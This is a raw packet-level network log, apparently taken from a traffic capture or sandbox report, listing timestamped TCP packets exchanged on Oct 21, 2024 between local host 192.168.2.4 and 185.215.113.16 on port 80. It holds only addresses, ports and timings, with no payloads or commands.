Oct 21, 2024 10:47:11.672642946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.672677040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672681093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.672717094 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.672724962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672792912 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.681500912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.681519032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.681576014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.681591034 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.681623936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.681643963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.681679964 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.686872959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.686892986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.686902046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.686933994 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.686965942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.686969042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.686979055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.686995983 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687021971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687031984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687042952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687052965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687078953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687103033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687114000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687135935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687144995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687154055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687170982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687182903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687194109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687200069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687225103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687297106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687308073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687326908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687338114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687349081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687357903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687366962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687377930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687427998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687464952 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687505007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687508106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687519073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687529087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687539101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687582016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687598944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687608957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687618971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687629938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687638998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687649012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687664986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687675953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687685966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687740088 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687768936 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687833071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687844038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687854052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687882900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687890053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687907934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.687942028 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.687959909 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688097954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688107967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688117981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688137054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688144922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688153028 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688196898 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688313961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688371897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688383102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688388109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688391924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688409090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688435078 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688467979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688478947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688503027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688566923 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688605070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688615084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688623905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688671112 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688709974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688720942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688736916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688749075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688760996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688775063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.688776016 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.688983917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.730374098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.730397940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.730407000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.730436087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.730464935 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.769994974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.770101070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.770111084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.770122051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.770133018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.770186901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.770239115 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.827297926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827321053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827393055 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.827420950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.827593088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827603102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827621937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827631950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827641964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.827653885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.827687025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.828099012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828125954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828136921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828196049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828206062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828224897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.828233957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.829487085 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.836478949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.836509943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.836575031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.836582899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.837522984 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.847373009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847446918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847456932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847466946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847477913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847534895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847544909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847554922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847567081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847651005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847661018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847670078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847748041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847758055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847767115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847776890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847785950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847798109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847920895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847930908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847946882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847956896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847966909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847978115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847986937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.847996950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848005056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848007917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848010063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848016024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848021030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848031998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848046064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848052979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848062038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848063946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848072052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848090887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848100901 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848103046 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848123074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848124027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848135948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848144054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848151922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848155975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848161936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848170996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848180056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848186016 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848189116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848200083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848207951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848215103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848218918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848228931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848239899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848239899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.848265886 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848294020 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.848889112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.849069118 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.885637999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.885649920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.885659933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.893326044 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.924804926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924845934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924860001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924870968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924880981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924889088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.924913883 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.924947977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.982601881 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982611895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982631922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982640982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982650042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982656956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.982662916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.982706070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.983169079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.983179092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.983187914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.983196974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.983212948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.983254910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.984205961 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.991508961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.991518974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.991528988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.991579056 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004595041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004606009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004615068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004620075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004631042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004641056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004673004 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004698992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004709959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004719019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004728079 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004733086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004745007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004751921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004784107 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004812956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004828930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004837990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004846096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004858017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.004877090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.004913092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005096912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005115032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005124092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005145073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005173922 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005209923 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005305052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005319118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005366087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005661011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005671024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005681038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005691051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005713940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005723000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005753994 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005768061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005800962 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005816936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005827904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005836964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005839109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005872011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005883932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005903959 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005932093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005942106 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.005944967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.005990982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006001949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006015062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006025076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006032944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006069899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006094933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006329060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006380081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006397963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006407976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006417036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006431103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006433010 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006442070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006453037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006474018 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006504059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006526947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006537914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006547928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006561995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006572008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006597996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006608009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006618977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006628036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006640911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006649017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.006676912 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.006705999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.040555954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.040857077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.040865898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.042824030 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.079817057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.079895973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.079905033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.079921961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.079931021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.079978943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.080029011 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.124778986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.124823093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.124829054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.124938965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.137424946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137439966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137455940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137468100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137482882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137490034 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.137497902 CEST	80	49855	185.215.113.16	192.168.2.4
